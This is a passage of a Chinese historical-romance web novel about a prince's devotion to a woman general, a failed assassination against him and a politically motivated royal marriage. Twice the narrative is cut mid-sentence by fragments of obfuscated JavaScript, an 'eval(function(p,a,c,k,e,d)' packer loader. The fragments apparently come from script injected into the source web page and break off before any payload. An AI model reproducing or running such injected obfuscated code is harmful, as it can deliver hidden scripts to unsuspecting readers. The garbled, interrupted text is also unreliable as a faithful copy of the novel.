“哦?那你叫什么?” “……郑则。”他不能说出姓氏。他一说出,她就会明白。 一路上,巡夜的士兵皆向她行礼。她话不多说,也不笑,只是微微颔首回礼。她着实不算高大,甚至有些纤细,但言行间的气势和风骨却透出一股说不出的气度。 二皇子与容雅歌住在一处,同为林思齐的得意门生,他们一有机会总要畅谈一番。 容鹿鸣的军帐离他们不远。她把萧正则牵进自己帐内。没哄过孩子,她怕一会儿上药时萧正则哭闹,就把侍卫给自己摘的山里红满满抓了一把,捧给他。 “我又不是小孩子,不用哄我,来,包扎吧。”那伤口很深,应该挺疼的,他却木着小脸,并不喊痛。 容鹿鸣忍不住摸摸他的头:“阿则真乖。”然后牵他到床榻边,拿出药箱,让他坐在自己腿上,轻柔地为他涂药。确实很痛,溢出的血水把药粉都溶了,他却忘记了叫痛,有什么更深地吸引了他,让除此以外的感觉都钝化了。 是她温热的皮肤、好看的侧脸、如墨绸般触到自己脸颊的一小缕头发,还是她的存在本身呢?某种感触比痛感更深,嵌进了他心里,在年齿尚幼的时候。 脸颊热热的,他掩饰着偏过头,趁机打量她住的地方。军帐内简朴有序,显出一派阔朗气质。 床榻、桌案、一架简易的天水碧屏风摆在床前。然后就是书,床头是兵书,和一本《心经》。书案上整齐摞着经史子集,《老子》《庄子》被放在最上面,还有几本书,书脊上的字他看不懂,后来才知道,应该是西戎、南蛮的医书。如果摒除那架立好的铠甲,这里看上去真像是内阁文臣的书房。 “真听话。”包扎好伤口,容鹿鸣又拍拍他的头。他不喜欢她这样,他自己是个男孩子,她也不过是个女孩子,怎么可以表现得像个长辈似的?他正准备抗议,容雅歌挑了帐帘走进来。 “听巡夜的说,孩子在你这儿。” “也是怪我 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这一别会是永诀吗?不知怎么眼泪就涌了出来,他躲着皇兄跑进了容鹿鸣的军帐。先前的铠甲已经不见了,高高的木架如一幅骸骨,寂寂地立着。几许幽香,他闻到,和她身上的一样。书案上的红泥花盆里是一株茉莉,花开了了却很香。他小心摘了一朵,藏入襟怀。 随皇兄回京的路上,他仿佛总闻到茉莉香。衣襟里的那朵茉莉早就枯了,他舍不得扔,把干花藏进了荷包里。 皇兄对他说:“则儿,你以后当成为容雅歌那样的人。” 他没说话,心里觉得容雅歌的面容有些模糊,容鹿鸣的轮廓才是鲜活的。 回到宫中,他照旧去弘文馆读书,日勤不殆。老师讲“见贤思齐焉”时,他想到容鹿鸣,又带着点嫉妒和不服,总有一天自己要超过她! 晚上临睡前攥着《诗经》读,读到“桃之夭夭,灼灼其华,”脑子里即刻闪出的,竟又是她。这是怎么回事?他自己也闹不清楚。 太子每日去母妃静妃娘娘处请安,他也被静妃养在跟前,每每遇到,总要拉着皇兄问北境战场的事。太子挺高兴,对静妃说:“母妃您看,这出去了一趟,七弟是不是成长了许多?” 静妃亦是心喜,拉着两个孩子说说闲话,问问课业。他们不会知道,那时萧正则对边境战事并不那样挂心,他只在乎那个名字——她的生死。 后来,晋国和西戎终于盟约。北境的战事亦缓和了。圣上恩准容家兄妹回京探亲。 他们归来时刚好赶上春闱,皇上心思一动,令容鹿鸣亦下场科考。容雅歌是中过榜眼的,不过因军职在身,辞谢了那名头。 朝中众人虽素来知晓容家书香门第,却也觉得容鹿鸣长在战场,军功卓著是不假,文才上大抵翻不出多大的造化。 不曾想,她竟轻松中了贡士,尚觉得这些题目不及兄长日常考校的难。 13. 恨意早生(下) 次月殿试,百余人中,唯她一名女子,亦做了儒生装束。她倒是毫不慌张,陛下已进见过数次,太子侍立一旁,偶尔朝她微有一笑。 考毕,殿中当场点了三甲。状元她可不敢想,探花也不是她。 “看来,吾不如吾兄……”她心中还未念完,即听御前太监高声念出了她的名字,自己中了探花,她还挺欢喜。余光瞥见身旁少年,与她年龄相仿,瘦削的肩垂下了,微微颤抖。 “哦,是了,他落于我之后,失了三甲之名”,容鹿鸣想,“容家到了如今,定是要疆场杀敌的,我要这虚名做什么?不如学了吾兄。” 她当真上前一步,谢罢恩便辞谢“探花”之名。 皇帝萧绩笑意盈盈,容家的两个孩子,他个个都喜欢,可经纶可兵法,可谋国可杀敌。若非太子将娶宋家女儿,此女真正堪为太子正妃。他顿了一息,指指刚刚自容鹿鸣手中接了探花之名的少年,御前太监连忙躬身低语:“此人乃是尚书左仆射林大人的幼子,林如柏。” “甚好!”萧绩想着,“省得几个皇子再为此女起纷争。” “容鹿鸣,这林家小公子相貌俊雅,才华也堪与你相配,赐婚予你,可好?” 林如柏闻言,就势便要跪地谢恩。幸好太子出言相劝,“父皇,容少将恐怕尚需驻守边境,赐婚之事,何不往后延一延?” 太子说的在理,萧绩微微颔首。容鹿鸣已是惊出一身冷汗。 自那日起,她间或会有思量,若是被赐了婚,她当如何逃脱。 皇上倒是不再提及此事。容鹿鸣越发谨慎,不接任何人的拜帖,安心在府中读书练字,将养旧伤。 宫中太医来了几回,把她勤学不怠的故事传得人尽皆知,说她肩上旧伤未愈,仍旧忍痛,临帖不息。皇上还以此事训诫诸皇子:刻苦,方得文武双全。 容止在宫中议事。容鹿鸣、容雅歌聚在书斋内,各做各的事。 容雅歌靠在躺椅上,读着云顶寺主持相赠的《维摩诘经》。容鹿鸣在黄花梨的夔凤纹平头案上,专心致志地临一张《逍遥游》,那字帖是容雅歌亲自写的,还盖了他的印,刻着“梦竹”,当真是千金难求。 博山炉里香气氤氲,焚着炉上好的沉香。 容鹿鸣临罢贴,自己看了会儿,觉得颇为满意,可得兄长五分神韵。 “你自己细看。”容雅歌站到她身后,点了几个字。 “哪能跟哥哥比,当世之中,能超过哥哥的人,怕是还未出世呢。” “这样啊,”容雅歌全然不领她的奉承,“既是未写好,那我刚差人买回的桂花蜜豆糕便不要吃了,全留给阿耶吧。” “别——别——哥,你看,我还受着伤呢。” “还疼吗?”容雅歌低头看。他知道她伤得不轻,只是在他面前装作并无大碍。 “吃了桂花蜜豆糕就不疼了!”容鹿鸣咧着嘴笑。 “行,去吧,吃完记得换药。” 话音未落,容雅歌只觉得眼前一阵飓风,容鹿鸣已是牵了美盼奔出了书斋。他亦是合了书卷,轻轻笑。 兄妹俩在府中休息了数日,太傅林思齐上书,让他们入宫讲学,也讲讲边境见闻。折子上的原话是:“臣年老,晚年的得意门生不过三人,太子殿下日不暇给,当令那另外两人传承授业大事。” 容雅歌讲经,容鹿鸣讲史。前者讲的深奥,萧正则年纪小,还听不大懂。容鹿鸣讲的却是极有意思,历史和政论一起讲,恢宏也悲凉,许多历史的教训由此叫他记得清清楚楚。 太子有时竟也来听,他们三人关系亲近。有次萧正则忍不住问他:“皇兄可是喜欢那个容鹿鸣?” 太子默了片刻,弹了下他脑瓜:“小小年纪,乱说些什么,”顿了顿,又认真地对他说:“则儿,身在皇室,不能轻易喜欢上一个人。皇室婚姻,当于政治有益。” 所以,太子后来娶了镇国公的女儿,“微微一笑动京华”的宋淑离,也不知他是否喜欢。 他不再向皇兄提容鹿鸣的名字,只敢在梦里默默梦她。 虽然后来得以养在静妃身边,也和其他皇子一样入了弘文馆读书,但萧正则生母出身低微,不过是个宫婢,免不了被其他人欺负。太子每次都护着他,但太子不在时,他们欺负得更凶。 皇家最是势力无情之地,只是金灿灿的壳子显得好看,他老早就知道的。 年近十岁,他也和其他皇子一样配了文剑。有次去弘文馆的路上,三哥、十弟带着一群侍卫又把他围住了,说他锋芒太露,故意压他们一头。他心中苦笑:不过是自己的政论又被太傅褒扬了而已。 欺人太甚!他忍过的,这次终是忍不住了。把剑拔了出来,这才觉得不对,他的剑竟是开了刃的。宫中旧规,未成年的皇子,佩剑俱不开刃。就在此时,一个年幼的侍读突然被推了过来……电光火石之间,有人以书册掷开了他的剑。 “咣当”一声,在四下的静里恍若巨响。众人都是一惊,见了来人,纷纷低头行见师礼:“容讲郎!” “今日之事我不深究,若有下次,我定禀告圣上。”容鹿鸣久在战场,那种压迫感无人能敌,两个得宠的皇子闻言,都点头称是,战战兢兢地退下了。 萧正则拾了剑,收入剑鞘,又蹲下来帮容鹿鸣捡掷散的书卷。 “受伤了没有?”容鹿鸣蹲下来和他一起捡。他侧过脸看她,她好像已然不记得他了。 三年前在北境,她帮他包扎掌心的伤口。半月前,她自刺客刀下救回他,被暗箭射伤手臂。当时她失血过多,被送去了静妃寝宫治伤。皇上暗中封锁了遇刺的消息。 太医前来为她缝合伤口,她面色苍白,汗如雨下,却不吭一声。 “则儿,跪下!容讲郎的救命之恩你必要牢牢记住!” “无妨。”她虚弱地说,示意他起来。“我亦当速归相府,免得惹那些人生疑。七皇子……”她喘息了片刻,接着道:“七皇子暂且装病数日,让他们以为刺 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初春明亮的阳光透过树的叶芽,印在她清劲的背影上。萧正则看了好久,起初觉得她怎么变矮了,后来想到,应是自己长高了。 第二日下了学,他送了枝虎头茉莉给她。是他自己在静妃宫中暖阁里亲自培育的。自从知道她喜欢这花,他私下里已种过许多,梦里觉得见花如见人。 这事过了没多久,她就又和兄长容雅歌一起回了战场。而她说的那些话,他一直记在心里,就这么忍耐着、默默经营,等待时机。 几个兄弟纷纷赐了婚,静妃一贯恬淡,这回却坐不住了,要去找皇上论一论,萧正则却是往她面前一跪,只推说自己年少,尚不着急。 “那可不行,则儿也是母妃的儿子,京中贵女当中,母妃定要为你挑个拔尖儿的。” 拔尖儿的,什么样的人算是拔尖儿的?他只想到容鹿鸣。说来也怪,自从认识了她,再听别人说什么“翩若惊鸿,婉若游龙”,说什么“沉鱼落雁鸟惊喧,羞花闭月花愁颤”,他都只想到她。 他渐渐地攒了些力量,得了朝中大员青眼,见到的各色名门闺秀,他也总觉得,不如她。 奇怪了,他自己觉得,身在皇室,不能轻易喜欢上一个人,皇兄说的对,自己的婚姻当是千钧之重的政治盟约。轻浅的喜欢不过一如水雾,朦胧时好看,但短暂易逝,终不可靠。 又这样过了几年,萧正则想,总是患得患失太过怯懦,最好,给自己一个决断。 此刻,忽闻得暗卫来报,父皇将为三哥赐婚,对方正是容鹿鸣。他对自己说:“无妨,无妨,不过是个女人!” 压住心底翻腾的不驯,他继续品那盏御赐的蒙顶甘露,却一个不小心,捏碎了手中白玉薄丕的茶盏。 “挺好的”,他继续骗自己,“会有个玉貌花容的三嫂,偏是军功在身、才冠京中的她。无望得到便不必再自苦……”缓缓擦了掌心的血,他却突然道:“走,不装了,进宫!” 14. 江山赠她 北狄战事正酣,萧正则以大病初愈之身,在朝堂上固请带兵出征。 皇帝萧绩高兴坏了,亲自把虎符交到他手里,自小到大,第一次拍了拍他的肩膀。朝中有人私下议论:七皇子怕是想夺权想疯了,如此汲汲营营,也不怕丢了性命。 萧正则倒不在乎别人怎么说,自己能做到的,不能做到的,他心里都清楚,不需他人置喙。容鹿鸣在他这个年岁,已是把那几个北狄名将打得鬼哭狼嚎。 又想到她,总是想到她,萧正则不得不承认,自己既想要军功,又卑微地冀望,若能见到她,就逾矩地求娶她。若被拒绝或遇不到,那就是命了,就放过自己吧,从此不再强求。 刚至北境,尚未见着主帅容雅歌,先远远望见了北狄人的战旗——敌人就在不远处。 天将雨,空气中弥漫着草木潮湿的气息。鸟雀宿于深树,时有鸣啼。萧正则翻身下马,察看周遭地形。 此战已不可避免,他想到兵书上写到的、容鹿鸣教过和她指挥过的一场场战役。 他将队伍分一分为三,左翼、右翼埋伏于一旁的树林中,然后,他率领小队疾行出击,诱使敌人入得包围圈。 雨初时如泣,继而越下越大,铁甲阴沉如暗云。稠密的雨滴激起哄响,吞没一切嘶喊和挣扎,鲜血洒在冷雨里,冶艳极了。 利刃切骨,血肉支离时的颤动俱拢在他掌中。他砍断了一柄剑,又抽出另一柄。战场厮杀,他体会着她的痛楚、快意和悲梦。 他竟然不觉得害怕,只觉得这像是第一次的,他与她真正站在一起。虽然她此刻正在南蛮与敌拼杀,在他离京的那天,她带兵赶往了南境。 死生一线,他与自己的亲兵走散了,可能又是哪个亲王兄弟做的局,总有人迫切希望看着他湮灭,当他从看似枯寂的隐忍里走出来,崭露锋芒。 他知道,他已凭一己之力搅动了朝局。既然做了,总得承担些后果,各种算计和冷箭,这些他都习惯了,不觉意外或悲凉,只是此次确实大意了,他有些后悔。 肩胛被敌人的暗箭洞穿,他从马上重重摔下,倒在尸体之中。暴雨不息,他趁机滚进尸堆,在敌军靠近时屏住呼吸。又冷又痛,他嗅到周遭弥漫着尸体的冷腥味,此时死亡离他很近,似乎只需迈过一道暗色的门槛…… 倏忽间,他却兀自笑了,肩上的伤——他记得容鹿鸣也是。生与死靠得那样近,管他命里有没有,他不想再纠结。若能回去的话,就再去见她一次吧,他对自己说。 从死人堆里挣扎着爬出来,他咬牙拔去洞穿肩胛的箭。剧痛折磨之下,他连视线都有些模糊了,尖锐的耳鸣里,有个声音在问他:如果是容鹿鸣,她会怎么做?他感觉此刻仿佛与她并肩,竟真的忍住了剧痛,弯弓射杀了那北狄人的将领。 暗害他的人不会知道,他的武艺已如此精进了。外人眼里,他在宫中随容雅歌学的那几式,仅仅算是强身健体。可当年容鹿鸣离开弘文馆时,却把容家最厉害的高手之一容大虎留给了他,叫大虎悉心、谨慎地教他习武。 他心里曾一瞬地腾起隐然的期待:莫非,她也对我……容大虎却小心翼翼地取出封信笺,恭敬地呈给他。他赶紧避了人,展开那信,玉版生宣上仅一行潇洒肆意的行草,笔力刚劲:为谢静妃厚恩,保重。 再去弘文馆找她,人已是走了。每次重逢都是匆匆,连句告别都没有。 他立下大功,也受了重伤。高热不退,容雅歌急派精兵护送他回城医治。一路上,陪侍的医官俱是听得,他在迷离恍惚之际不停喊容鹿鸣的名字。众人均是惊疑,七王爷和容少将的闲话,却是谁也不敢说的。 萧正昀暗插的探子觉得此事不对,萧正则这般冷漠隐忍的人,哪会有钟情?定是看中了容家的兵权,想凭此觊觎太子之位,才演得这出苦情戏。 萧正昀得了消息,第二日一早就入宫向太后宋桓请安,直说自己痴恋容鹿鸣多年,求太后成全。 宋桓听了只是笑:“她的婚,不好赐,可也不是不能赐。” “若得成鸾俦,定为太后效犬马之力。” 宋桓早就想好的,她若要女帝之位,还需他人助力。一众皇子她都细细考量过,萧正昀是最好的人选:他对权力充满热望,又不知收敛,锋芒过盛。待事成后,不必她亲自动手,给那些对他不满的人一些权力,花点时间和心思,收拾他并不难。 萧正则却不同,她有些看不透他。他生母去的早,童年那场大病差点要了他的命,幸好静妃着医官下重药救了他,病好之后又多加照拂,后来竟还收到身边做了个养子。 她先前一直对他印象不深,只记得长得极好看,长眉高鼻,清峻挺拔。渐渐长大了,才发现这人谦恭、隐忍,惯于不动声色。会和十王斗富,为平康里的花魁娘子一曲散千金。也会在京中的贵女面前,自制得像个清客。平时看着不学无术,琵琶却是弹得极好。手谈的功力,据说也少有敌手。十足像个富家的闲散公子。 前些年他状似地无意地写了篇政论,呈给皇帝萧绩。切中时弊、应对之法老辣独到,萧绩读了又读,还着人在早朝上念了,惊到了容止为首的一众文臣。由此,允他上朝听政,不久又因治理水患有功,封了王爵——本朝第一个凭借自己之力获封王爵的皇子。 多大的荣宠,他倒还是淡淡的,温和又疏离。在朝中不多说一个字,一旦开口,必有大事。这次他自请出征实在是莽撞,给了她除掉他的机会,她有预感,他将会是自己的勍敌。 “记得你今天的话。本宫会力促这庄好姻缘。”萧正昀闻言,躬身谢过,匆匆离开。他不适合久留此地。 宋桓拨着新进贡来的一盒鸽子蛋大小的东珠,心想:萧正则重伤之人,即刻动手最好,不能再迟疑。她给萧正昀传去密信:她的人会助他一臂之力,除掉萧正则,干净利落。 被利箭重创,当真是痛彻心扉,萧正则恢复了意识。容鹿鸣留在北狄的伤药真是管用,军医官陆徐也是 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“不过是个女人,”他劝说自己,“亦不仅仅是吾心悦之,若得她助力,则王权可握。”他让自己慢慢抽离出来,似乎越多地思虑如何利用她,就能越快地冷静下来。他不信自己能有深情几许,大概对她的念念不忘里,总藏着对她才华的觊觎。 “吾不如吾师,恨不能超越她。”这个念头,从未消失过。 “要利用好容家,”他想,东郭先生与狼的故事,他已见过许多。他厌弃自己这般,但却不得不做。 为了护他周全,当年,容鹿鸣甚至让容大虎暗中帮他训练了一批暗卫。 此刻,暗卫的传信到了,酝酿了一月有余,萧正昀要动手了。萧正则握住自己的肩膀,这处伤口与容鹿鸣的一样,“很快就能再见面了吧。”他快意地想,预备在他三哥萧正昀身上,试试他将将磨好的“快刀”。 只是,他当时尚未觉察,对王权的热望背后,更浓烈的,是期盼与她晤面,竹炉汤沸,同饮一盏好茶。 即将返京,捷报早已传回京中。萧正则的肩伤开裂又愈合,愈合又开裂。 “何不晚些启程?”容大虎难得开口。 “若伤好透了,戏就不真了。”萧正则笑着攒去伤口的血。 八分的痛让他装足了十二分。他提了个过分的请求,请容雅歌派亲兵护送自己回京,他竟立刻允了。 萧正则简直都困惑了,容家这样的世家,从不参与夺嫡之争,却对他予取予求。他没什么可供容家图谋的,若是有就好了。 “爱美人不爱江山……”脑中无端地冒出这句,当年四王爷执意娶花魁入府,平康里人人如是说。他听罢只是嗤笑。而他心里一直是愿意的,只是不敢说出口:倘若能够——以江山赠她。 马车备好,险途将启。边境的风磨痛他面颊,但是快意,快意呀!握笔的指间有了剑柄磨出的茧子。他饮了口烈酒,喷在裂开的伤口之上。 疼痛锥入骨髓,他握紧长剑,朗声大笑。 他步入马车。 他等着那些人来杀他。 15. 将计就计 回京路上,萧正则忍住高热和疼痛,剑不离身。青帷乌盖的桐木马车,侍卫皆着便装,看上去真像是富家公子出游。车内,死守在他身旁的,仍是容大虎。 行至边境的密松林,萧正则强撑着坐起来,立剑膝前。对外面的侍从说:“走慢些,伤口疼。” 容大虎觉得情形不对,萧正则明明就是备战的姿态。 “止痛药。”萧正则神色淡淡,朝容大虎摊开手。 “七王爷,这药虽是少将军的秘方,止痛有奇效但损伤身体。少将军曾特别交代过,不可多用。” “顾不了这些了,一会儿会有人来。”萧正则用剑柄支着眉心。 容大虎立刻会意,“七王爷,我们加快速度冲过去,带出来的这些人俱是容家军精锐。” “不必。若不让他们伤了我,这戏可是演不下去了。”萧正则语无波澜,仿佛说着别人的事。 “七王爷……” “不必再劝,止疼药给我!”萧正则一口饮了,“我也算是容将军和你教出来的学生,不必担心。一会儿遇袭,你们先顾着自己,刀伤我定是要受一些的,如无性命之虞,就不用管我。” 他说得真是轻松冷静。皇室各家的暗卫里,有几个是手软的,一个不小心,性命堪忧。 “这还是朝堂之上,人称‘公子如玉’的萧正则吗?”容大虎心生疑窦。 “咚——咚、咚。”细微声响,像是车顶落了几颗小石子。相视一瞬,他们知道有人踏上了车顶。萧正则猛得推开容大虎,长剑从车顶捅下来,扎了个空。萧正则飞身跃下马车。 聚集而来的刺客俱是一惊,不是说七王垂死吗?怎么……长剑依旧被他挥得铿锵,却又变幻如风,让人难以躲闪。 剑柄上都是血水,他自己的、敌人的,萧正则如同感觉不到疼痛,长剑腾空,他反手甩去掌中鲜血,接住长剑,又是痛杀。 苍松浓翠,鲜血冶丽。 刺客只剩五六人,萧正则易手握剑,逼上前去。止痛药的副作用显露了,他感到晕眩,就势侧身,垂了剑。胸口被深深划了一剑,够了,他借力退开好几步,对身旁容家军士说:“只留下这个,”他指着面前人,“其他的……”满身是血,他却陡然笑了,做了个灭口的手势。 容大虎把萧正则扶上马车,躲在车后的医官陆徐赶紧上前,帮他包扎伤口。萧正则却一把掐住他脖子:“管好你的嘴,不然让你和他们一样。” “七王爷,陆医官可算是容家人。”容大虎握住他青筋暴起的手臂,“求殿下放过他。”萧正则闻言,缓缓松了手。陆徐品蓝的衣领已被他的血染成深紫。 持续的高热、新伤旧痛、止痛药的副作用,萧正则已是神思迷离,药都灌不进去,车内都是他沉重的呼吸声,过了一会儿,他竟一声一声地开始叫“鸣鸣”。 前几日的那几声“容鹿鸣”,容大虎猜他是在做戏。可现在,他人是真的昏了过去,“鸣鸣”又是容家少将军的乳名,鲜少人知,他是怎么知道的?又为何唤得如此凄切? 容大虎与陆徐对视一眼,他们俱是猜到了什么,却深感恐惧、不敢说出。 终于回京,入了七王府。如若不是容鹿鸣留下的药和陆徐的医术,萧正则说不定会死在路上,他对他自己太过残忍。 那个唯一活下来的刺客,被立即交给了萧正则的亲卫。 萧正则在短暂的清醒时曾对容大虎说:“一回王府就把那刺客交给我的人。容家插手的话,对你们不利。就说是我的人抓的。” “是。”容大虎佩服他,都这样了还能清晰布局。 “普通的法子撬不开他的嘴,告诉他们……”萧正则粗喘了几声,接着说出一串字句,都是新奇的酷刑,久居战场的容大虎亦听得毛骨悚然。心里只有一个念头:容家,最好不要和这个人扯上任何关系! 当晚,皇帝萧绩亲自驾临七王府,探望萧正则。容大虎已和容家亲卫已悄然离开。 看着气息奄奄的萧正则,萧绩怒极,一脚踹翻了萧正则的一个近卫。那人立刻跪地痛哭,说自己也不愿背叛七王爷,可三王爷以他父母的性命相要挟,他只能把七王爷回京的路线透给三王爷派来的刺客。言毕,竟拔剑要当场自刎。 昙现立刻让人把他绑了。萧绩惊魂未定,昙现在他面前跪下:“陛下,那刺客让我们抓住了一个。” “给我压上来!”萧绩又惊又怒,宫中竟又出了兄弟阋墙之事! 被抬上来的人,看上去似乎好好的,可是已说不出话了。那被绑住的侍卫一见他,疯了似地往上扑,“就是他,就是他胁迫我背叛七王爷!” “是谁要你这样做的?”萧绩幽幽地问。 “三——王——”那人用尽全力压出这两个字。那些无法诉诸言语的酷刑,让他此刻只能吐出这两个字,这样才能求得解脱,也为扣在萧正则手中的家人求得解脱。 “好,好得很!”萧绩气得一口鲜血吐了出来。 “皇上息怒,保重龙体!”众人跪了一屋子。随侍的医官忙取来药,让皇上服下。 “今天先到这,则儿我带回宫中休养几日,好些了再送回王府。”这种时候,萧绩觉得把人带在身边才稳妥。 “这两个人交给炳仁,两日内给我结果。”沈炳仁,大理寺寺正,尽人皆知的刑讯高手。人所不知的是,他是萧正则的人。 萧正昀被禁了足,萧绩封锁了信息。萧正昀不知何故,猜到可能是刺杀行动不顺利。不过,他太担心,派去的都是死士,应该牵扯不到他。 他只知道,自己的死士不畏生死,却不知萧正则的死士还会编排故事。 萧绩倚在榻上,靠着明黄的龙纹缂丝隐囊,屏退了侍卫在内的一干宫人,只留昙现跪在他面前。 甘泉宫内一下子显得空旷了,盘着九龙的金丝楠柱、镂着忍冬纹的沉香木窗棂、秘色青瓷药碗,琥珀的、金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“昀儿大了,虽娶了宗室之女,到底缺了个端方的侧妃,不如……”宋桓笑盈盈地看着萧绩。她还同当年一样艳若牡丹,只是盛在她心里的事物早已换了几换。嫁入皇室的女子,几个能不被权欲侵蚀? 又是容家庶女,宋桓一提,他便更添警觉。他记得她叫鹿鸣,当年也闹出过很大的风波。 容止的正妻是皇室宗亲,承着郡主的封号。他不曾纳妾,家中虽子息不旺,却一直和睦。“容相亲手点面靥”,这佳话可是传了多年。怎么倏忽就闻听一直有妾室,还说妾室死了,把个庶女接进了相府。 皇室的郡主,一向温良淑娴,怎么还出了虐待庶女的丑事? 丞相家事,萧绩不便插手。但这个庶女,不能轻易嫁了旁人。自当初殿上差点点了探花,她越发光华展露,年纪轻轻,已是手握兵权,战功卓著,如她兄长一般,都是王朝的利刃,也同她兄长一样,都需要一柄剑鞘,方才能牢牢握在帝王手中,生死皆由帝王。 容鹿鸣嫁入皇室也好,顺理成章地夺了她的兵权。女人容易被情感动摇。她又如此明艳,令人不安。 想来,当年容鹿鸣回京任讲郎,才貌冠绝京华。王公贵族之中,多少人来宫中奔走,想请旨赐婚的几不可数。几家公侯,还闹到差点大打出手。 她倒浑然无觉,对谁都不远不近,拿捏得恰到好处。这庶女可不一般,当年萧绩就觉得,特意让静妃探了她口风:可是已心有所属? 16. 谋婚(上) 萧绩还未来得及听到回答,南蛮突袭边境,容鹿鸣点齐容家军精锐,立即走了。清晨还在弘文馆讲《通鉴》,卯时的书批,墨迹未干。 皇帝最疼爱的子侄,捧了书就要追她同去,被静妃着人拦下,扣在了弘文馆。 闻听此事,萧绩有些怒意,“传容止进宫,我要赐婚。” “陛下……”静妃轻扯他衣袖,朝御前太监使了个眼色。“鹿鸣曾和臣妾说过,外忧未解,何以家为?” 静了片刻,萧绩想起,她的兄长容雅歌,也说过类似的话。由此赐婚之事暂且作罢。 一别至今,难道则儿也在念着她?他那时才多大!不可能,这不合礼数,萧绩不愿再想。 容鹿鸣这样的臣子,对,她更像个立于朝堂的臣子,而非相府高门内的庶出娘子。把她放在眼前最好,驯服便罢了,不驯的话,在深宫里,除掉她的方法多得是。 “那么,要赐给谁呢?”萧绩暗想,转动右手上的翡翠扳指,“刺杀老七的事,老三做得过分了。不如就赐了老七,也算是成全了他几许痴心?” 曾经的女讲郎和皇子,又差着这么些岁数,真逾矩啊,萧正则想。他自己一生未做过什么逾矩的事,被框在皇宫金黄的框子里直到今日。不如,就让他这个儿子肆意一回吧。 萧绩是了解儿子的,萧正则看上去谦和有礼,内里其实最是冷漠无情。说他心系容家庶女,若她外无容家依傍内无兵权在握,他又能心系些什么呢? 萧绩饮尽杯中物,这药茶尝在他嘴里,有鼓灰烬的味道。 宋桓想借求得赐婚拉拢老三,怎能让她如愿?自己和宋桓这种怨侣,在皇室之中,莫要有了吧。 萧正则是静妃养子,既无簪缨母族,亦无外戚之忧。容鹿鸣这柄利剑,就这样交给他吗? 自己只怕已时日无多了,萧绩想,可用这婚事试一试容家,也再磨一磨老七这把刀。而老三也并非一无是处,还有小九、小十……皇权的斗争就是如此残酷,只关欲望,无关情感。不到血肉模糊,怎知可将权柄交于谁手? 萧绩忽而想到他最心爱的二儿子,他和静妃唯一的孩子。片刻间的,心有悔意。心中唯二眷念的皆已逝去,念着静妃,他亦该善待养在她身侧的萧正则。 这婚就赐了吧,若不能制衡,便殉了容鹿鸣。不管是否真的心悦,也可叫萧正则知晓,王权必当孤独。 御前太监们承了口谕,分头去了三王府、七王府传旨。萧正昀、萧正则都跪地接了。 萧正昀解了禁足,觉得刺杀的事大概就算是结了,又庆幸又悔恨,怎么就没把萧正则了结了呢?他还得谋划其他机会! 萧正则谦恭地跪在床下,由御前太监和昙现一起搀了起来。 “昙现,为我更衣,我要进宫谢恩。” 看他气息恹恹的样子,御前太监继续道:“陛下还说,念在王爷病体未愈,谢恩之事可免。” 萧正则有气无力地笑了笑,差昙现送贵客出门。脚步声渐远,他收起病弱之态,立在回纹锦花格长窗前,修长俊挺,望向庭中花木。芳香阵阵,他低声对昙现说:“走,进宫。” 传来的口谕说是讲择日赐婚。可念及先前差点赐婚三王之事,他要尽快把这桩婚事定死。 特地挑了散朝时分,萧正则乘了肩舆入宫,斜靠了琥珀色镜花绫软垫,一路不断掩口短咳。前来问病者甚众,萧正则一一回了。昙现于一旁应道:“王爷说纵使伤重,也当亲自入宫谢陛下赐婚之恩。” 萧绩靠在太极殿暖阁的龙榻上,见萧正则由昙现扶着,缓缓走了进来,在他面前,谦恭地跪了。本是面如冠玉,此刻却苍白得不像话。 “起来吧,刚刚好了些,也不在府里将养着。”萧绩把侍从端来的药一口饮尽。 “儿臣当来,谢父皇赐婚。”萧正则稽首罢,方才让昙现扶自己起身。 圣旨尚未草拟,亦未支会容家。只是一时地怜他伤重,告知他赐婚的意图,好教他安心。没想到立刻就来谢恩了。 萧绩瞧着这个本以为不甚出众的儿子,突然想看看,他会怎样挥动容家这柄“利刃”?病势愈沉,他得在自己尚且清醒时处理好这些事。 “则儿,到父皇身边来。”萧正则往前挪了挪。 容家势大,如双刃之剑,把那庶女赐予你做个侧妃,也不算委屈。若有异动,也好处置了。” 萧正则闻言,有些讶异,但极快地掩饰住了。他缓缓站了起来,跪在萧绩面前,“父皇,儿臣愿以正妃之礼迎娶容家庶女。” 是情真意切,或是拉拢功臣?萧绩觉得自己在迟暮之时,还得再看几出好戏。 七王府的事处理罢,容大虎率容家近卫,日夜兼程,不过数日便归返容家军北境驻地。顾不上脱去便装、软甲,他先去主将帐中见了容雅歌。 他将一路事故一一对主将讲了。容雅歌未说话,刀凿斧刻般深邃俊朗的面容上,缓缓泛出个冷笑:心机深重的皇亲贵胄见过不少,可为达目的,连自己的生死都能算进去……普通人便罢了,生在皇家,这种不顾一切的疯狂恐出变乱。 他着容大虎退下休息,自己展了容家军特制的信笺,写信与容鹿鸣。 兄长的信,容鹿鸣一向珍惜地收着,唯这一封,她看毕便触着烛火点了,丢在黄铜的笔洗里焚尽。信上只一句:勿与七皇子牵扯。 信送来得很及时。数月后,容鹿鸣奉诏回京。 进了相府的月柏轩。她灭了烛火,推开龟背锦花格的门,立在庭院里,看月也看竹。竹影在她掌中摇晃,似有重量。 白管家带了一个亲信,挑灯夜来。 “少将军,裴妈妈闻听您归来,特地做了桂花糕送过来,请老奴一定送到您手上。” 夜色里,容鹿鸣笑了一笑,接过糕点,道了声:“有心了。” 白管家不再多言,行了礼便退下。事出反常必有异,他知晓少将军一定也觉察了。在他眼里,容鹿鸣不仅仅是相府的娘子,她的敏锐和才智,更像是相府里低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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屋里很静,听得滴漏声响如滚珠。容鹿鸣突然开口,对身旁的美盼说:“去相熟的药铺,制几颗丸剂。”她执笔把方子写给她。“立刻去,不要惊动其他人。” 七王府内,门口的六角宫灯亮得照眼。朱门紧紧闭着。 门内几重。鹿语湖里,月白睡莲俱已栖入湖底。侍卫们脚步轻轻,暗蓝的素绫袍里,皆着软甲,手按剑柄,看向四下的目光锐利极了。 